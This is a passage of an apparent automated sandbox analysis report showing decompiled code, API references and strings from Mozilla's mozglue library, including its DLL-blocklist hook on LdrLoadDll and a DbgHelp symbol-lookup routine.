0x6d86ab65
0x6d86ab2a
0x6d86ab2a
0x00000000
0x6d86ab2f
0x6d86ab06
0x6d86ab09
0x6d86ab0f
0x6d86ab17
0x00000000
0x00000000
0x6d86ab1f
0x00000000
0x6d86ab25
0x6d86ab25
0x00000000
0x6d86ab25
0x6d86ad99
0x6d86ad99
0x6d86adaf
0x6d86adaf

APIs

Part of subcall function 6D86A7BF: InitializeCriticalSection.KERNEL32(6D88030C,6D86A83B), ref: 6D86A7CD

GetCurrentThread.KERNEL32 ref: 6D86AACE
GetCurrentProcess.KERNEL32(6D880330,001FFFFF,00000000,00000000,?,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AB06
GetCurrentProcess.KERNEL32(00000000,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AB09
GetCurrentProcess.KERNEL32(00000000,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AB0C
DuplicateHandle.KERNEL32(00000000,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AB0F

Part of subcall function 6D86A69F: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,MOZ_CRASH(Bad format string)), ref: 6D86A6BF

GetCurrentProcess.KERNEL32(?,001FFFFF,00000000,00000000,?,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AB43
GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AB4C
DuplicateHandle.KERNEL32(00000000,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AB4F
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AC59
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AC65
SignalObjectAndWait.KERNEL32(?,?,000000FF,00000000,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AC95
SignalObjectAndWait.KERNEL32(?,?,000000FF,00000000,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AD2B
CloseHandle.KERNEL32(?,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AD4F
CloseHandle.KERNEL32(?,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AD57

Part of subcall function 6D86ADB0: GetLastError.KERNEL32(00000000,?,6D86A707,CreateThread), ref: 6D86ADB4
Part of subcall function 6D86ADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D86A707,CreateThread), ref: 6D86ADCE
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D86A707,00000000,?,6D86A707), ref: 6D86ADEC
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D86A707), ref: 6D86ADFB
Part of subcall function 6D86ADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D86AE02
Part of subcall function 6D86ADB0: LocalFree.KERNEL32(?), ref: 6D86AE0E

CloseHandle.KERNEL32(?,?,?,?,?,6D86AA78,?,?,?,?,00000000,00000000), ref: 6D86AD5F

Strings

DuplicateHandle (process), xrefs: 6D86AB25
SignalObjectAndWait (2), xrefs: 6D86AD3E
DuplicateHandle (thread), xrefs: 6D86AB65
SignalObjectAndWait (1), xrefs: 6D86ACA8

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Current$HandleProcess$CloseCreateEvent$DuplicateObjectSignalWait__acrt_iob_func$CriticalErrorFormatFreeInitializeLastLocalMessageSectionThreadfflush
String ID: DuplicateHandle (process)$DuplicateHandle (thread)$SignalObjectAndWait (1)$SignalObjectAndWait (2)
API String ID: 3999363785-4050657622
Opcode ID: 86e562a9afbc9129c14b065a03abef19d153210ca7dddfe3fb5d52552b8928e1
Instruction ID: 23a307928e4c18a3348020b2d2051e2d5c10a6e7782236f0cd94d1a4ae6f761c
Opcode Fuzzy Hash: 86e562a9afbc9129c14b065a03abef19d153210ca7dddfe3fb5d52552b8928e1
Instruction Fuzzy Hash: 54811975D00378DBDF219F598C4CA9EBBB9EB49750F0144DAEA08A7252D7309E84CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D862BE0, Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 343
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6D862BE0(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, signed short* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v140;
				signed int _v144;
				void* _v148;
				signed int _v152;
				char _v156;
				signed short* _v160;
				intOrPtr _v164;
				char _v168;
				char _v172;
				int _v176;
				void* _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				char _v192;
				int _v196;
				int _v200;
				signed int _t109;
				unsigned int _t114;
				signed int _t123;
				signed int _t128;
				signed int _t129;
				short** _t139;
				void* _t140;
				signed int _t142;
				signed int _t146;
				signed int _t149;
				void* _t150;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				char* _t161;
				signed int _t164;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t176;
				signed short* _t178;
				signed int _t189;
				void* _t190;
				intOrPtr* _t193;
				signed int _t202;
				signed int _t215;
				signed int _t218;
				signed int _t219;
				short* _t221;
				signed int _t223;
				signed short _t225;
				intOrPtr* _t226;
				signed int _t229;
				char* _t230;
				signed int _t232;
				void* _t233;
				signed int _t234;
				signed int _t236;
				signed int _t238;
				void* _t239;

				_t236 = _t238;
				_t239 = _t238 - 0xc4;
				_t109 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t109 ^ _t236;
				_t178 = _a12;
				_v164 = _a4;
				_push(__ebx);
				_v188 = _a8;
				_t176 = 0x6d879648;
				_push(__esi);
				_t225 = _t178[2];
				_v160 = _t178;
				_v184 = _a16;
				_t114 =  *_t178 & 0x0000ffff;
				_push(__edi);
				_t221 = 0;
				_v156 = 0;
				_t218 = _t114 >> 1;
				_v148 = _t225;
				_v152 = 0;
				if((_v160[1] & 0x0000ffff) < _t114 + 2) {
					L51:
					E6D86939A( &_v192, "WindowsDllBlocklist::patched_LdrLoadDll",  &_v140, 0x30e);
					_t226 =  *0x6d8801a0; // 0x0
					 *0x6d8792f4(_v164, _v188, _v160, _v184);
					 *_t226();
					E6D8693C5( &_v192);
					__eflags = _t221;
					if(_t221 != 0) {
						free(_t221);
					}
					goto L54;
				} else {
					_t123 = 0;
					if( *((intOrPtr*)(_t225 + _t218 * 2)) != 0) {
						goto L51;
					} else {
						_t189 = _t225 - 2 + _t218 * 2;
						if(_t189 < _t225) {
							L6:
							_t189 = _t123;
						} else {
							while(1) {
								_t234 =  *_t189 & 0x0000ffff;
								if(_t234 == 0x5c || _t234 == 0x2f) {
									goto L7;
								}
								_t189 = _t189 - 2;
								if(_t189 >= _v148) {
									continue;
								} else {
									goto L6;
								}
								goto L7;
							}
						}
						L7:
						if(_t189 == 0) {
							_t190 = _v148;
						} else {
							_t190 = _t189 + 2;
							_t218 = _t218 - (_t190 - _v148 >> 1);
							_t123 = 0;
						}
						if(_t218 > 0x80) {
							goto L51;
						} else {
							_t229 = _t123;
							if(_t218 <= 0) {
								L17:
								if(_t218 >= 0x81) {
									E6D877537();
									asm("int3");
									return 0x6d8801c8;
								} else {
									 *(_t236 + _t218 - 0x88) = _t123;
									_t230 = strchr( &_v140, 0x2e);
									if(_t230 == 0) {
										L29:
										_t128 =  *0x6d879648; // 0x6d879dc8
										while(1) {
											L39:
											__eflags = _t128;
											if(_t128 == 0) {
												break;
											}
											_t193 =  &_v140;
											while(1) {
												_t218 =  *_t128;
												__eflags = _t218 -  *_t193;
												if(_t218 !=  *_t193) {
													break;
												}
												__eflags = _t218;
												if(_t218 == 0) {
													L35:
													_t129 = 0;
												} else {
													_t46 = _t128 + 1; // 0x61666670
													_t218 =  *_t46;
													__eflags = _t218 -  *((intOrPtr*)(_t193 + 1));
													if(_t218 !=  *((intOrPtr*)(_t193 + 1))) {
														break;
													} else {
														_t128 = _t128 + 2;
														_t193 = _t193 + 2;
														__eflags = _t218;
														if(_t218 != 0) {
															continue;
														} else {
															goto L35;
														}
													}
												}
												L37:
												__eflags = _t129;
												if(_t129 != 0) {
													_t176 = _t176 + 0x18;
													__eflags = _t176;
													_t128 =  *_t176;
													goto L39;
												}
												goto L40;
											}
											asm("sbb eax, eax");
											_t129 = _t128 | 0x00000001;
											__eflags = _t129;
											goto L37;
										}
										L40:
										__eflags =  *_t176;
										if( *_t176 == 0) {
											goto L51;
										} else {
											__eflags =  *(_t176 + 0x10) & 0x00000001;
											if(( *(_t176 + 0x10) & 0x00000001) == 0) {
												L43:
												__eflags =  *(_t176 + 0x10) & 0x00000002;
												if(( *(_t176 + 0x10) & 0x00000002) == 0) {
													L46:
													__eflags =  *(_t176 + 0x10) & 0x00000008;
													if(( *(_t176 + 0x10) & 0x00000008) == 0) {
														L48:
														_t59 = _t176 + 8; // 0xffffffff
														_t232 = 0xffffffffffffffff;
														_t60 = _t176 + 0xc; // 0xffffffff
														_v152 = 0xffffffffffffffff;
														_v144 = 0xffffffffffffffff;
														__eflags = ( *_t59 &  *_t60) - 0xffffffffffffffff;
														if(( *_t59 &  *_t60) == 0xffffffffffffffff) {
															L75:
															E6D86308C(_t232, "LdrLoadDll: Blocking load of \'%s\' -- see http://www.mozilla.com/en-US/blocklist/\n",  &_v140);
															E6D861C93( *_t176, _t232, _v144);
															__eflags = _t221;
															if(_t221 != 0) {
																free(_t221);
															}
															goto L21;
														} else {
															E6D861A49( &_v172,  &_v140);
															__eflags = _v168;
															if(_v168 == 0) {
																_t139 = E6D862AD8( &_v148, _v164, _v148);
																_t239 = _t239 + 0xc;
																_t221 =  *_t139;
																 *_t139 = 0;
																_t140 = _v148;
																_v148 = 0;
																__eflags = _t140;
																if(_t140 != 0) {
																	free(_t140);
																}
																__eflags = _t221;
																if(_t221 != 0) {
																	__eflags =  *(_t176 + 0x10) & 0x00000004;
																	if(( *(_t176 + 0x10) & 0x00000004) == 0) {
																		_t142 = GetFileVersionInfoSizeW(_t221,  &_v196);
																		_v176 = _t142;
																		__eflags = _t142;
																		if(__eflags != 0) {
																			E6D8611F9(__eflags,  &_v148, _t142);
																			_t233 = _v148;
																			_t146 = GetFileVersionInfoW(_t221, 0, _v176, _t233);
																			__eflags = _t146;
																			if(_t146 != 0) {
																				_t149 = VerQueryValueW(_t233, "\\",  &_v180,  &_v200);
																				__eflags = _t149;
																				if(_t149 != 0) {
																					_t150 = _v180;
																					_t219 =  *((intOrPtr*)(_t150 + 8));
																					_t202 =  *((intOrPtr*)(_t150 + 0xc));
																					_v152 = _t202;
																					_v144 = _t219;
																					_t101 = _t176 + 0xc; // 0xffffffff
																					__eflags = _t219 -  *_t101;
																					if(__eflags >= 0) {
																						if(__eflags > 0) {
																							L70:
																							_v156 = 1;
																						} else {
																							_t102 = _t176 + 8; // 0xffffffff
																							__eflags = _t202 -  *_t102;
																							if(_t202 >  *_t102) {
																								goto L70;
																							}
																						}
																					}
																				}
																			}
																			__eflags = _t233;
																			if(_t233 != 0) {
																				free(_t233);
																			}
																			_t232 = _v152;
																		}
																	} else {
																		_t232 = E6D8622F8(_t221);
																		_v144 = 0;
																		_t86 = _t176 + 0xc; // 0xffffffff
																		__eflags = 0 -  *_t86;
																		if(__eflags >= 0) {
																			if(__eflags > 0) {
																				L63:
																				_v156 = 1;
																			} else {
																				_t87 = _t176 + 8; // 0xffffffff
																				__eflags = _t232 -  *_t87;
																				if(_t232 >  *_t87) {
																					goto L63;
																				}
																			}
																		}
																	}
																	E6D861AEC( &_v172);
																	__eflags = _v156;
																	if(_v156 != 0) {
																		goto L51;
																	} else {
																		goto L75;
																	}
																} else {
																	E6D86308C(_t232, "LdrLoadDll: Blocking load of \'%s\' (SearchPathW didn\'t find it?)\n",  &_v140);
																	E6D861AEC( &_v172);
																	goto L21;
																}
															} else {
																E6D861AEC( &_v172);
																goto L51;
															}
														}
													} else {
														__eflags =  *0x6d880198 & 0x00000001;
														if(( *0x6d880198 & 0x00000001) == 0) {
															goto L51;
														} else {
															goto L48;
														}
													}
												} else {
													_t157 = E6D86266D(_t176, _t218, _t221, 0x6020000, 0x6020000);
													__eflags = _t157;
													if(_t157 == 0) {
														goto L51;
													} else {
														_t158 = E6D86266D(_t176, _t218, _t221, 0x6020000, 0x6030000);
														__eflags = _t158;
														if(_t158 != 0) {
															goto L51;
														} else {
															goto L46;
														}
													}
												}
											} else {
												_t159 = E6D86266D(_t176, _t218, _t221, 0x6020000, 0x6020000);
												__eflags = _t159;
												if(_t159 == 0) {
													goto L51;
												} else {
													goto L43;
												}
											}
										}
									} else {
										_t33 = _t230 + 1; // 0x1
										_t161 = strchr(_t33, 0x2e);
										_t34 = _t230 + 0xd; // 0xd
										if(_t161 != _t34) {
											L22:
											_t215 =  &_v140;
											__eflags = _t230 - _t215 - 0x10;
											if(_t230 - _t215 < 0x10) {
												goto L29;
											} else {
												_t164 = _t215;
												__eflags = _t215 - _t230;
												if(_t215 < _t230) {
													_t223 = _t215;
													while(1) {
														_t165 =  *_t223;
														__imp__isxdigit(_t165);
														__eflags = _t165;
														if(_t165 == 0) {
															break;
														}
														_t223 = _t223 + 1;
														__eflags = _t223 - _t230;
														if(_t223 < _t230) {
															continue;
														}
														break;
													}
													_v144 = _t223;
													_t221 = _v152;
													_t164 = _v144;
												}
												__eflags = _t164 - _t230;
												if(_t164 == _t230) {
													goto L21;
												} else {
													goto L29;
												}
											}
										} else {
											_v144 = _v144 & _t221;
											_t38 = _t230 + 1; // 0x1
											__imp___strtoui64(_t38,  &_v144, 0x10);
											_t39 = _t230 + 0xd; // 0xd
											_t239 = _t239 + 0xc;
											if(_v144 != _t39) {
												goto L22;
											} else {
												L21:
											}
										}
									}
									L54:
									return E6D8770C0(_v8 ^ _t236);
								}
							} else {
								while(1) {
									_t169 =  *(_t190 + _t229 * 2) & 0x0000ffff;
									_v144 = _t169;
									if(_t169 > 0x7f) {
										goto L51;
									}
									_t171 = _v144;
									if(_t169 + 0xffffffbf <= 0x19) {
										_t171 = _t171 + 0x20;
									}
									 *(_t236 + _t229 - 0x88) = _t171;
									_t229 = _t229 + 1;
									if(_t229 < _t218) {
										continue;
									} else {
										_t123 = 0;
										goto L17;
									}
									goto L79;
								}
								goto L51;
							}
						}
					}
				}
				L79:
			}

0x6d862be1
0x6d862be3
0x6d862be9
0x6d862bf0
0x6d862bf3
0x6d862bf9
0x6d862c02
0x6d862c03
0x6d862c09
0x6d862c11
0x6d862c12
0x6d862c15
0x6d862c1b
0x6d862c21
0x6d862c26
0x6d862c27
0x6d862c29
0x6d862c3a
0x6d862c3c
0x6d862c42
0x6d862c4e
0x6d862e69
0x6d862e80
0x6d862e8b
0x6d862ea5
0x6d862eab
0x6d862eb5
0x6d862eba
0x6d862ebc
0x6d862ebf
0x6d862ec4
0x00000000
0x6d862c54
0x6d862c54
0x6d862c5a
0x00000000
0x6d862c60
0x6d862c63
0x6d862c68
0x6d862c82
0x6d862c82
0x00000000
0x6d862c6a
0x6d862c6a
0x6d862c70
0x00000000
0x00000000
0x6d862c77
0x6d862c80
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d862c80
0x6d862c6a
0x6d862c84
0x6d862c86
0x6d862c9b
0x6d862c88
0x6d862c88
0x6d862c95
0x6d862c97
0x6d862c97
0x6d862ca7
0x00000000
0x6d862cad
0x6d862cad
0x6d862cb1
0x6d862ce6
0x6d862cec
0x6d86305c
0x6d863061
0x6d863067
0x6d862cf2
0x6d862cf2
0x6d862d07
0x6d862d0d
0x6d862d99
0x6d862d99
0x6d862dd4
0x6d862dd4
0x6d862dd4
0x6d862dd6
0x00000000
0x00000000
0x6d862da0
0x6d862da6
0x6d862da6
0x6d862da8
0x6d862daa
0x00000000
0x00000000
0x6d862dac
0x6d862dae
0x6d862dc2
0x6d862dc2
0x6d862db0
0x6d862db0
0x6d862db0
0x6d862db3
0x6d862db6
0x00000000
0x6d862db8
0x6d862db8
0x6d862dbb
0x6d862dbe
0x6d862dc0
0x00000000
0x00000000
0x00000000
0x00000000
0x6d862dc0
0x6d862db6
0x6d862dcb
0x6d862dcb
0x6d862dcd
0x6d862dcf
0x6d862dcf
0x6d862dd2
0x00000000
0x6d862dd2
0x00000000
0x6d862dcd
0x6d862dc6
0x6d862dc8
0x6d862dc8
0x00000000
0x6d862dc8
0x6d862dd8
0x6d862dd8
0x6d862ddb
0x00000000
0x6d862de1
0x6d862de1
0x6d862dea
0x6d862df7
0x6d862df7
0x6d862dfb
0x6d862e17
0x6d862e17
0x6d862e1b
0x6d862e26
0x6d862e26
0x6d862e29
0x6d862e2c
0x6d862e2f
0x6d862e35
0x6d862e3b
0x6d862e3d
0x6d863026
0x6d863032
0x6d863040
0x6d863048
0x6d86304a
0x6d863051
0x6d863056
0x00000000
0x6d862e43
0x6d862e50
0x6d862e55
0x6d862e5c
0x6d862eed
0x6d862ef4
0x6d862ef7
0x6d862ef9
0x6d862efb
0x6d862f01
0x6d862f07
0x6d862f09
0x6d862f0c
0x6d862f11
0x6d862f12
0x6d862f14
0x6d862f39
0x6d862f3d
0x6d862f78
0x6d862f7d
0x6d862f83
0x6d862f85
0x6d862f93
0x6d862f98
0x6d862faa
0x6d862faf
0x6d862fb1
0x6d862fc7
0x6d862fcc
0x6d862fce
0x6d862fd0
0x6d862fd8
0x6d862fdb
0x6d862fde
0x6d862fe4
0x6d862fea
0x6d862fea
0x6d862fed
0x6d862fef
0x6d862ff6
0x6d862ff6
0x6d862ff1
0x6d862ff1
0x6d862ff1
0x6d862ff4
0x00000000
0x00000000
0x6d862ff4
0x6d862fef
0x6d862fed
0x6d862fce
0x6d862ffd
0x6d862fff
0x6d863002
0x6d863007
0x6d863008
0x6d863008
0x6d862f3f
0x6d862f45
0x6d862f4a
0x6d862f50
0x6d862f50
0x6d862f53
0x6d862f59
0x6d862f64
0x6d862f64
0x6d862f5b
0x6d862f5b
0x6d862f5b
0x6d862f5e
0x00000000
0x00000000
0x6d862f5e
0x6d862f59
0x6d862f53
0x6d863014
0x6d863019
0x6d863020
0x00000000
0x00000000
0x00000000
0x00000000
0x6d862f16
0x6d862f22
0x6d862f2f
0x00000000
0x6d862f2f
0x6d862e5e
0x6d862e64
0x00000000
0x6d862e64
0x6d862e5c
0x6d862e1d
0x6d862e1d
0x6d862e24
0x00000000
0x00000000
0x00000000
0x00000000
0x6d862e24
0x6d862dfd
0x6d862dfe
0x6d862e04
0x6d862e06
0x00000000
0x6d862e08
0x6d862e0d
0x6d862e13
0x6d862e15
0x00000000
0x00000000
0x00000000
0x00000000
0x6d862e15
0x6d862e06
0x6d862dec
0x6d862ded
0x6d862df3
0x6d862df5
0x00000000
0x00000000
0x00000000
0x00000000
0x6d862df5
0x6d862dea
0x6d862d13
0x6d862d13
0x6d862d19
0x6d862d20
0x6d862d25
0x6d862d58
0x6d862d5a
0x6d862d62
0x6d862d65
0x00000000
0x6d862d67
0x6d862d67
0x6d862d69
0x6d862d6b
0x6d862d6d
0x6d862d6f
0x6d862d6f
0x6d862d73
0x6d862d7a
0x6d862d7c
0x00000000
0x00000000
0x6d862d7e
0x6d862d7f
0x6d862d81
0x00000000
0x00000000
0x00000000
0x6d862d81
0x6d862d83
0x6d862d89
0x6d862d8f
0x6d862d8f
0x6d862d95
0x6d862d97
0x00000000
0x00000000
0x00000000
0x00000000
0x6d862d97
0x6d862d27
0x6d862d27
0x6d862d36
0x6d862d3a
0x6d862d40
0x6d862d43
0x6d862d4c
0x00000000
0x6d862d4e
0x6d862d4e
0x6d862d4e
0x6d862d4c
0x6d862d25
0x6d862ec7
0x6d862ed7
0x6d862ed7
0x6d862cb3
0x6d862cb3
0x6d862cb3
0x6d862cb7
0x6d862cc0
0x00000000
0x00000000
0x6d862ccd
0x6d862cd3
0x6d862cd5
0x6d862cd5
0x6d862cd8
0x6d862cdf
0x6d862ce2
0x00000000
0x6d862ce4
0x6d862ce4
0x00000000
0x6d862ce4
0x00000000
0x6d862ce2
0x00000000
0x6d862cb3
0x6d862cb1
0x6d862ca7
0x6d862c5a
0x00000000

APIs

strchr.VCRUNTIME140(?,0000002E), ref: 6D862D02
strchr.VCRUNTIME140(00000001,0000002E), ref: 6D862D19
_strtoui64.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000010), ref: 6D862D3A
isxdigit.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D862D73
jemalloc_purge_freed_pages.MOZGLUE(?,?,?,?,WindowsDllBlocklist::patched_LdrLoadDll,?,0000030E), ref: 6D862EA5
free.MOZGLUE(00000000), ref: 6D862EBF
free.MOZGLUE(?), ref: 6D862F0C
GetFileVersionInfoSizeW.VERSION(00000000,?), ref: 6D862F78
GetFileVersionInfoW.VERSION(00000000,00000000,?,?,00000000,?), ref: 6D862FAA
VerQueryValueW.VERSION(?,6D87A4EC,?,?,00000000,00000000,?,?,00000000,?), ref: 6D862FC7
free.MOZGLUE(?,00000000,00000000,?,?,00000000,?), ref: 6D863002
free.MOZGLUE(00000000), ref: 6D863051

Strings

LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?), xrefs: 6D862F1D
WindowsDllBlocklist::patched_LdrLoadDll, xrefs: 6D862E75
LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/, xrefs: 6D86302D

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: free$FileInfoVersionstrchr$QuerySizeValue_strtoui64isxdigitjemalloc_purge_freed_pages
String ID: LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)$LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/$WindowsDllBlocklist::patched_LdrLoadDll
API String ID: 1901801077-4063581197
Opcode ID: c554e7842489e331a28db51863c533e9f391301596d43378a92eef3c6d673f78
Instruction ID: e2d2ca3181d56bdfd7b2308a7e401847f5333b2c36625ec5e612877d574e25db
Opcode Fuzzy Hash: c554e7842489e331a28db51863c533e9f391301596d43378a92eef3c6d673f78
Instruction Fuzzy Hash: 17C1C5319042AA9BDB35CB28CC48BBE77B9BF05324F1488D9E949E7141DB349A84CF71

Uniqueness

Uniqueness Score: -1.00%

Function 6D86A7E0, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 121
stringCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6D86A7E0(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4, char* _a8) {
				signed int _v8;
				char _v2012;
				intOrPtr _v2016;
				char _v2096;
				char _v3452;
				intOrPtr _v3768;
				char _v3776;
				intOrPtr _v3780;
				intOrPtr _v3784;
				void* _v3788;
				char _v3796;
				char* _v3808;
				char _v3812;
				char _v3820;
				signed int _t41;
				void* _t47;
				char* _t49;
				void* _t61;
				signed int _t65;
				intOrPtr _t66;
				signed int _t68;
				intOrPtr _t75;
				char* _t83;
				signed int _t84;
				void* _t85;
				void* _t86;

				_t75 = __edx;
				_t41 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t41 ^ _t84;
				_t65 =  *0x6d880334; // 0x0
				_v3780 = _a4;
				_t83 = _a8;
				 *_t83 = 0;
				_t44 =  &(_t83[0x208]);
				_t83[0x100] = 0;
				_t83[0x104] = 0;
				_t83[0x204] = 0;
				_t83[0x208] = 0;
				_t83[0x308] = 0;
				if(_t65 != 0) {
					L5:
					_v3788 = GetCurrentProcess();
					EnterCriticalSection(0x6d88030c);
					_t66 = _v3780;
					asm("cdq");
					_v3784 = _t66;
					_v3780 = _t75;
					_t47 = E6D86AE18(_t66, _t45, _t66, _t75,  &_v3776,  &_v3820);
					_t86 = _t85 + 0x14;
					if(_t47 != 0) {
						strncpy(_t83,  &_v3452, 0x100);
						_t86 = _t86 + 0xc;
						_t83[0xff] = 0;
						_t83[0x100] = _t66 - _v3768;
						if(_v3808 != 0) {
							strncpy( &(_t83[0x104]), _v3808, 0x100);
							_t86 = _t86 + 0xc;
							_t83[0x203] = 0;
							_t83[0x204] = _v3812;
						}
					}
					_v2096 = 0x58;
					_t49 =  &_v3796;
					_v2016 = 0x7d0;
					__imp__SymFromAddr(_v3788, _v3784, _v3780, _t49,  &_v2096);
					if(_t49 != 0) {
						strncpy( &(_t83[0x208]),  &_v2012, 0x100);
						_t83[0x307] = 0;
						_t83[0x308] = _v3796;
					}
					LeaveCriticalSection(0x6d88030c);
					L11:
					return E6D8770C0(_v8 ^ _t84);
				}
				E6D86A7BF(_t44);
				__imp__SymSetOptions(0x12);
				_t61 = GetCurrentProcess();
				__imp__SymInitialize(_t61, 0, 1);
				_t68 = _t65 & 0xffffff00 | _t61 != 0x00000000;
				if(_t61 == 0) {
					E6D86ADB0(0, "SymInitialize");
				}
				 *0x6d880334 = _t68;
				if(_t68 != 0) {
					goto L5;
				} else {
					goto L11;
				}
			}

0x6d86a7e0
0x6d86a7e9
0x6d86a7f0
0x6d86a7f9
0x6d86a7ff
0x6d86a806
0x6d86a810
0x6d86a812
0x6d86a818
0x6d86a81e
0x6d86a824
0x6d86a82a
0x6d86a82c
0x6d86a834
0x6d86a875
0x6d86a87e
0x6d86a884
0x6d86a88a
0x6d86a892
0x6d86a895
0x6d86a8a1
0x6d86a8b2
0x6d86a8bd
0x6d86a8c2
0x6d86a8d1
0x6d86a8d9
0x6d86a8e3
0x6d86a8ea
0x6d86a8f0
0x6d86a904
0x6d86a90c
0x6d86a90f
0x6d86a916
0x6d86a916
0x6d86a8f0
0x6d86a922
0x6d86a92d
0x6d86a933
0x6d86a950
0x6d86a958
0x6d86a96d
0x6d86a978
0x6d86a97f
0x6d86a97f
0x6d86a98a
0x6d86a992
0x6d86a9a2
0x6d86a9a2
0x6d86a836
0x6d86a83d
0x6d86a847
0x6d86a84a
0x6d86a852
0x6d86a857
0x6d86a85e
0x6d86a863
0x6d86a864
0x6d86a86c
0x00000000
0x6d86a86e
0x00000000
0x6d86a86e

APIs

SymSetOptions.DBGHELP(00000012), ref: 6D86A83D
GetCurrentProcess.KERNEL32(00000000,00000001), ref: 6D86A847
SymInitialize.DBGHELP(00000000), ref: 6D86A84A

Part of subcall function 6D86ADB0: GetLastError.KERNEL32(00000000,?,6D86A707,CreateThread), ref: 6D86ADB4
Part of subcall function 6D86ADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D86A707,CreateThread), ref: 6D86ADCE
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D86A707,00000000,?,6D86A707), ref: 6D86ADEC
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D86A707), ref: 6D86ADFB
Part of subcall function 6D86ADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D86AE02
Part of subcall function 6D86ADB0: LocalFree.KERNEL32(?), ref: 6D86AE0E

GetCurrentProcess.KERNEL32 ref: 6D86A875
EnterCriticalSection.KERNEL32(6D88030C), ref: 6D86A884
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6D86A8D1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000100), ref: 6D86A904
SymFromAddr.DBGHELP(?,?,?,?,?), ref: 6D86A950
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6D86A96D
LeaveCriticalSection.KERNEL32(6D88030C), ref: 6D86A98A

Part of subcall function 6D86A7BF: InitializeCriticalSection.KERNEL32(6D88030C,6D86A83B), ref: 6D86A7CD

Strings

SymInitialize, xrefs: 6D86A859
X, xrefs: 6D86A922

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionstrncpy$CurrentInitializeProcess__acrt_iob_func$AddrEnterErrorFormatFreeFromLastLeaveLocalMessageOptionsfflush
String ID: SymInitialize$X
API String ID: 2944712559-3182666042
Opcode ID: c954d57fd14a2f157bebc5af1e1aaed40c62cd70afe60fc0321b8803292b28ae
Instruction ID: 90bd60f1b58f3e26a5ad1d9fdb792fc86eb8cac03df419adad73c084e4112cde
